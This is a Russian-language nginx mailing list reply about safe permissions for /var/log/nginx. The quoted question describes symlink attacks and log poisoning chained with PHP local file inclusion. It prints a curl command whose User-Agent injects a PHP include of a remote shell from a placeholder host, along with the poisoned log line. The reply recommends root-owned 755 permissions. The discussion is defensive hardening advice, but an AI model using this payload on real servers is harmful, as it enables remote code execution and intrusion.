Nginx-ru mailing list archive (nginx-ru@sysoev.ru)
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: /var/log/nginx
Hello!
On Tue, Dec 14, 2010 at 08:05:34PM +0200, Gena Makhomed wrote:
> Здравствуйте!
>
> есть небольшие проблемы с /var/log/nginx
>
> 1. если владелец этого каталога nginx:nginx,
> и права доступа 0700 - такая установка будет уязвима
> к symlink attack, потому что лог-файлы в этом каталоге
> master-процесс открывает на запись при запуске nginx
> и он не делает никаких проверок symlink это или нет.
>
> 2. если владелец этого каталога root:root,
> и права доступа 0755 - такая установка будет уязвима
> к атаке "php local file inclusion vulnerability
> elevation to remote code execution":
>
> # curl -A "<? include 'http://hack.ru/shell.php'; ?>" http://t/
>
> # tail -n 1 /var/log/nginx/access.log
> 10.10.10.10 - - [14/Dec/2010:19:34:24 +0200] "GET / HTTP/1.1" 200
> 15777 "-" "<? include 'http://hack.ru/shell.php' ?>"
>
> и если запущенный на хосте PHP можно каким-то путем заставить сделать
> include этого локального файла - выполнится код с удаленного сайта.
> например, http://site.ru/index.php?file=/var/log/nginx/access.log
>
> код "<? include 'http://hack.ru/shell.php' ?>" приведен только
> для примера, на самом деле, там может быть любой php-код, который
> будет работать даже в случае если параметр allow_url_fopen = Off
>
> 3. если владелец этого каталога root:nginx,
> и права доступа 0750 - на первый взгляд всё нормально,
> однако если php-fastcgi входит в группу nginx,
> или пользователь httpd входит в группу nginx,
> то будет тот же результат, что и в п.2 - так что
> это решение можно назвать ненадежным и частичным.
Помимо случаев (2) и (3), кмк, стоит ещё рассмотреть случаи
"php-fastcgi имеет uid 0" и "администратор написал пароль от
root'а на стене".
Права на каталог с логами root:wheel 755 - хорошие, годные (только
нужно не забывать при вращении создавать файлы с owner'ом nginx
перед USR1, а то воркеры останутся без логов).
Проблемы же PHP нужно фиксить в рамках PHP.
Maxim Dounin
_______________________________________________
nginx-ru mailing list
nginx-ru@xxxxxxxxx
http://nginx.org/mailman/listinfo/nginx-ru
|